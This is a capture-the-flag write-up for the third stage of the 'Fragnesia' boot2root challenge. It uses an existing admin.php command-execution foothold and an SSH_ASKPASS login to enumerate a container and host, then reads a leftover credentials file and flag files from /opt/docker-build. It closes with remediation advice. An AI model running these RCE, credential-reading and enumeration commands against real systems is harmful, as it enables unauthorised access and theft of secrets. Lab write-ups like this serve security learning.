N
Back to writeup archive
LIGA CTF 2026 (Week 2 Boot2Root)

Fragnesia - III

After Fragnesia - II, I had already used the web RCE to pivot into an internal SSH container as the low-privileged user account and recover the second flag. The next step was to find the final flag.

Boot2RootMarkdown + PDFHardsolved3 minread·693words
route
/TryN3rr0r/writeups/liga-ctf-2026-week-2-boot2root/fragnesia-iii
archive index
16 / 16
read mode
parsed markdown
Writeup loaded.

Fragnesia - III

challenge brief
target profile, scoring, and execution stack
verified solve
target
192.168.1.26
category
Web / Boot2Root / Container Artifact Exposure
points
1000
difficulty
Hard
flag format
OWASPKL{xxx}
tools used
curlpython3OpenSSHSSH_ASKPASSfindlscat
final flag
OWASPKL{Wh4t_a_L0v3ly_FR4GN3S1A}
reveal and copy from section 5
PDF evidence frame 01

1. Challenge Overview

After Fragnesia - II, I had already used the web RCE to pivot into an internal SSH container as the low-privileged user account and recover the second flag. The next step was to find the final flag.

Initial container enumeration suggested a classic local privilege-escalation route because /usr/bin/su was the only SUID binary left inside the container. However, instead of forcing an unreliable su path, I continued live enumeration from the original www-data foothold on the host. That revealed a sensitive container build context under /opt/docker-build/, including the final flag file, readable by the web server user.

The final issue was therefore not a kernel exploit or password attack: it was sensitive deployment artifacts left readable on the host filesystem.

2. Initial State

The starting point for this stage is the authenticated command-execution foothold from Part 1:

bash3 lines
1curl -s -b "PHPSESSID=<ADMIN_SESSION>" \2  --data-urlencode "cmd=id" \3  http://192.168.1.26/admin.php
text1 lines
1<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre>
PDF evidence frame 02

The second-stage pivot also confirmed the internal container as user:

bash9 lines
1DISPLAY=:0 \2SSH_ASKPASS=/tmp/askpass.sh \3SSH_ASKPASS_REQUIRE=force \4setsid ssh \5  -o StrictHostKeyChecking=no \6  -o UserKnownHostsFile=/tmp/known_hosts_frag26 \7  -o LogLevel=ERROR \8  -p 2222 user@127.0.0.1 \9  'id; hostname; cat /home/user/second_flag.txt'
text3 lines
1uid=1000(user) gid=1000(user) groups=1000(user)2335cbf012f163OWASPKL{F33l_s0_3mPTy_i5nt}

3. Analysis / Forensics Path

3.1 Container privilege-enumeration

Inside the container, I enumerated SUID binaries and available escalation tooling.

bash3 lines
1find / -perm -4000 -type f -ls 2>/dev/null2command -v sudo || true3command -v python3 script expect perl sh bash su

Live output:

text2 lines
1432203  56 -rwsr-xr-x  1 root root  55680 Mar  6 16:10 /usr/bin/su2/usr/bin/python3

This showed:

/usr/bin/su was the only SUID binary.

sudo was not available.

Python was present, meaning a PTY-based su attempt would be technically possible.

PDF evidence frame 03

3.2 Validate whether root-only files are protected in the container

I checked the root flag path from the container user context.

bash1 lines
1ls -l /root /root/last_flag.txt 2>/dev/null || true

The file was not readable as the low-privileged container user. At this point, an obvious path would be to attempt su to root. But since no root password had been recovered through the live attack path, I returned to host-side enumeration instead of guessing credentials.

3.3 Host filesystem enumeration from www-data

The original web RCE still ran as www-data on the host. I enumerated /opt, which often contains application deployment scripts, bot scripts, or container build artifacts.

bash3 lines
1curl -s -b "$COOKIE" \2  --data-urlencode 'cmd=find /opt -maxdepth 4 -type f -ls 2>/dev/null' \3  "$TARGET/admin.php"

Live output:

text5 lines
1431748   4 -rwxr-xr-x 1 root root 240 May 30 18:22 /opt/admin_bot.sh2431752   4 -rw-r--r-- 1 root root 644 May 30 18:22 /opt/docker-build/Dockerfile3431751   4 -rw-r--r-- 1 root root  33 May 30 18:22 /opt/docker-build/last_flag.txt4431750   4 -rw-r--r-- 1 root root  28 May 30 18:22 /opt/docker-build/second_flag.txt5435482   4 -rw-r--r-- 1 root root  15 May 30 18:24 /opt/container_creds.txt

This was the breakthrough. The container build context was still present on the host under /opt/docker-build/, and both second_flag.txt and last_flag.txt were world-readable (-rw-r--r--).

PDF evidence frame 04

4. Exploitation / Recovery

4.1 Read deployment artifacts from the host

I read the useful files directly through the www-data RCE:

bash3 lines
1curl -s -b "$COOKIE" \2  --data-urlencode 'cmd=for f in /opt/container_creds.txt /opt/docker-build/second_flag.txt /opt/docker-build/last_flag.txt; do echo ---$f; cat $f 2>&1; done' \3  "$TARGET/admin.php"

Live output:

text6 lines
1---/opt/container_creds.txt2user:fragnesia3---/opt/docker-build/second_flag.txt4OWASPKL{F33l_s0_3mPTy_i5nt}5---/opt/docker-build/last_flag.txt6OWASPKL{Wh4t_a_L0v3ly_FR4GN3S1A}

This recovered the final flag from the host-side build context.

4.2 Why this worked

The final flag was intended to live at /root/last_flag.txt inside the container, protected from the low-privileged user account. However, the same flag file was also left behind in the host's Docker build context:

text1 lines
1/opt/docker-build/last_flag.txt

Because the file permissions were 0644, the compromised web server user (www-data) could read it directly. This bypassed the need for container-root access.

5. Flag

captured flag
OWASPKL{Wh4t_a_L0v3ly_FR4GN3S1A}

6. Summary of Approach & Key Takeaways

Started from existing web RCE — reused the www-data command execution obtained through the admin bot/session chain.

Checked the expected route — enumerated the internal container and confirmed /usr/bin/su was the only SUID path.

Avoided blind password guessing — no root password was recovered through the live path, so I continued filesystem enumeration instead.

Enumerated /opt from the host — found a leftover Docker build context containing Dockerfile, container credentials, and flag artifacts.

Recovered Flag 3 — /opt/docker-build/last_flag.txt was world-readable and contained the final flag.

Key takeaways:

Build contexts should not be left on production hosts after images are built.

Secrets and challenge flags should never be stored world-readable in deployment directories.

Container isolation does not protect data if the same data remains exposed on the host filesystem.

Post-exploitation enumeration should include deployment paths such as /opt, /srv, /var/www, and container build directories.

7. Remediation Notes

Remove container build directories from the host after image creation.

Store secrets outside world-readable paths and apply least-privilege file permissions.

Do not copy final/root-only secrets into both the container image and a readable build context.

Restrict web service users from reading deployment artifacts not required at runtime.

Replace arbitrary command execution in admin tooling with controlled administrative functions.